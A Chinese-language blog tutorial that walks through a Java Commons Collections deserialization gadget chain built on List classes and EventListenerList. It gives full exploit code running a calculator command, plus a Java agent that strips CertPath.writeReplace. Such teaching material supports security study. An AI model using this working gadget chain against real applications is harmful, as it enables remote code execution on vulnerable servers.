banner
NEWS LETTER

详解List触发cc反序列化

Scroll down

详解List触发cc反序列化

本文将详细拆分不使用map去触发cc反序列化的原理(写给java小白看的),整体的链子可以分为两个部分

CertPath部分

先说证书类这一部分,使用这个类主要是其他师傅们都在自己的博客上分析的使用的这个类。回归链子末尾,我们以invokertransformer为例,我们要找到能调用任意类的transform方法的地方,我们注意到了TransformedCollection中有个transform方法,它可以调用它自己中的transformer的transform方法

再去关注他的父类AbstractSerializableCollectionDecorator,听名字就知道是可以序列化的

那就很好办了,用这个类去触发任意transform就可以了,至于transformer我们反射改了就可以

另一个问题,怎么去触发TransformedCollection的transform,搜索之后发现其实有很多能调用到这里的,由于咱们本文是分析List触发,咱们就找List,然后就看到了TransformedList,他的set可以触发transform

而至于为什么他能触发TransformedCollection的transform,是因为他继承了TransformedCollection,也就是说它本身也有了transform方法所以调用它的set就能触发了

拼接一下刚刚讲过的,就是调用一个TranformedList的set,给set传值第二个为我们的chainedTransformer就可以了,首先创建一个list,给他封装成TransformedList,然后调用set

1
2
3
4
5
6
7
8
9
10
        Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
List<Object> list=new ArrayList<>();
List transformedList= TransformedList.decorate(list,chainedTransformer);
transformedList.set(0,chainedTransformer);

接下来就是如何触发set了,因为反序列化肯定不能主动触发set方法,我们要找到被动调用set方法的地方,既然是写List,那么我们聚焦于List就好,我们使用LazyList(毕竟和LazyMap撞脸了),LazyList中的get会调用一次set

我们需要让getList返回的是我们的TransformedList,object是我们的ChainedTransformer,getList是继承自父类,调用了

getCollection,而getCollection又是继承自他的父类,返回自己的collection

所以我们需要反射改掉LazyList的collection就可以控制getList的值,而obejct来自于LazyList自己的factory,同样反射修改即可

综合一下现在的部分,调用一下LazyList的get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
List<Object> list=new ArrayList<>();
List transformedList= TransformedList.decorate(list,chainedTransformer);
List lazylist=LazyList.decorate(transformedList,new ConstantFactory(chainedTransformer));
Class clazz= AbstractCollectionDecorator.class;
Field collectionField=clazz.getDeclaredField("collection");
collectionField.setAccessible(true);
collectionField.set(lazylist,transformedList);

再然后就是如何触发这个get了,事实上当我们搜索了之后发现有非常多的地方都调用到了get,我们仅探讨能和EventListenerList联动的部分,依旧参考别的师傅的文章,我们选用CodeSigner,其toString可以触发一个get,并且signerCertPath.getCertificates()我们可以控制

只需要让signerCertPath.getCertificates()返回我们的LazyList就可以了,于是我们将目光放到了CertPath族上,其中的X509CertPath的getCertificates可以返回本身中的一个certs,是我们最理想的利用类

接下来就是反射修改两个类的值,然后调用一下CodeSigner的toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
List<Object> list=new ArrayList<>();
List transformedList= TransformedList.decorate(list,chainedTransformer);
List lazylist=LazyList.decorate(transformedList,new ConstantFactory(chainedTransformer));
Class clazz= AbstractCollectionDecorator.class;
Field collectionField=clazz.getDeclaredField("collection");
collectionField.setAccessible(true);
collectionField.set(lazylist,transformedList);
X509CertPath certPath=new X509CertPath(lazylist);
Class cls1= X509CertPath.class;
Field certsField=cls1.getDeclaredField("certs");
certsField.setAccessible(true);
certsField.set(certPath,lazylist);
CodeSigner codeSigner=new CodeSigner(certPath,new Timestamp(new Date(),certPath));
Class cls2= CodeSigner.class;
Field signerCertPathField=cls2.getDeclaredField("signerCertPath");
signerCertPathField.setAccessible(true);
signerCertPathField.set(codeSigner,certPath);
codeSigner.toString();

EventListenerList部分

那现在的目的也很明显了,就是如何触发我们的toString,而EventListenerList的链子能很好的帮我们解决这个问题,简单来讲,就是EventListenerList反序列化的时候会触发自己的add方法,会拼接两个参数,其中的l参数我们可以控制

有个前提,就是咱们的l是由本身的listenerList控制的,但是只有这个列表的偶数项才会被传值给l,并且会经历一次类型转换,强制将l的类型转换为EventListenerList

接下来就是找谁的toString可以触发别人的toString,这里为什么我们不直接将CodeSinger传进去,是因为java.security.CodeSigner cannot be cast to java.util.EventListener,所以我们要再套一层,事实上只要实现了UndoableEditListener就可以强转了,于是我们将目光放到了UndoManager上,他的toString也会进行参数拼接触发toString

但是很遗憾,这两个参数都是int类型,我们没法控制其中的某一个为我们的CodeSinger

但是他的父类的toString也可以进行参数拼接触发toString,并且其中的edits是个Vector

我们依旧可以使用反射修改这个edits的值,让他存入我们的CodeSinger,这样就连接起来了

所以咱们完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.collection.TransformedCollection;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import sun.security.provider.certpath.X509CertPath;

import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.security.Timestamp;
import java.security.cert.CertPath;
import java.util.*;

public class ListCC {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
List<Object> list=new ArrayList<>();
List transformedList= TransformedList.decorate(list,chainedTransformer);
List lazylist=LazyList.decorate(transformedList,new ConstantFactory(chainedTransformer));
Class clazz= AbstractCollectionDecorator.class;
Field collectionField=clazz.getDeclaredField("collection");
collectionField.setAccessible(true);
collectionField.set(lazylist,transformedList);
X509CertPath certPath=new X509CertPath(lazylist);
Class cls1= X509CertPath.class;
Field certsField=cls1.getDeclaredField("certs");
certsField.setAccessible(true);
certsField.set(certPath,lazylist);
CodeSigner codeSigner=new CodeSigner(certPath,new Timestamp(new Date(),certPath));
Class cls2= CodeSigner.class;
Field signerCertPathField=cls2.getDeclaredField("signerCertPath");
signerCertPathField.setAccessible(true);
signerCertPathField.set(codeSigner,certPath);
// codeSigner.toString();
EventListenerList listenerList=new EventListenerList();
UndoManager undoManager=new UndoManager();
Class c= CompoundEdit.class;
Field editsField=c.getDeclaredField("edits");
editsField.setAccessible(true);
Class idexc= UndoManager.class;
Field indexOfNextAddField=idexc.getDeclaredField("indexOfNextAdd");
indexOfNextAddField.setAccessible(true);
indexOfNextAddField.set(undoManager,1);
Vector vector=(Vector)editsField.get(undoManager);
vector.add(codeSigner);
Class cls11= EventListenerList.class;
Field listenerListField=cls11.getDeclaredField("listenerList");
listenerListField.setAccessible(true);
listenerListField.set(listenerList,new Object[]{Class.class,undoManager});
// listenerList.add(Integer.class, undoManager);
// undoManager.toString();
serialize(listenerList);
unserialize("ser.bin");
// certPath.getCertificates().get(1);
// transformedList.set(0,chainedTransformer);
// lazylist.get(1);

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(s));
Object object=objectInputStream.readObject();
return object;
}
}


但是要注意,CertPath有个writeReplace会干扰我们的序列化,导致我们生成的序列化字节流不是我们预期的,我们需要修改它

这里我们使用agent hook去修改它,通俗的讲就是在咱们的代码运行的时候动态的将这个方法直接删除掉,当然你也可以重新编译生成一个不带writeReplace方法的jdk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//agent.java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class Agent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("Agent started!");
// 检查是否支持 retransform
if (inst.isRetransformClassesSupported()) {
System.out.println("[Agent] Retransform supported, using retransformable transformer");
inst.addTransformer(new RemoveReplaceTransformer(), true);
} else {
System.out.println("[Agent] Retransform NOT supported, using normal transformer");
inst.addTransformer(new RemoveReplaceTransformer(), false);
}
}

static class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
// 注意 className 是用 / 分隔的
if ("java/security/cert/CertPath".equals(className)) {
try {
System.out.println("[Agent] Found target class: " + className);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");

// 删除 writeReplace 方法
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);

System.out.println("[Agent] Removed method: writeReplace");

byte[] bytecode = ctClass.toBytecode();
ctClass.detach(); // detach 在 toBytecode 之后
return bytecode;
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}
}


将这个类打包成jar后要么通过命令行的方式运行咱们的exp,这里我们推荐使用idea中添加agent的方式

至此,大功告成

I'm so cute. Please give me money.

Other Articles
cover
Hello!
  • 25/12/13
  • 18:51
目录导航 置顶
  1. 1. 详解List触发cc反序列化
    1. 1.1. CertPath部分
    2. 1.2. EventListenerList部分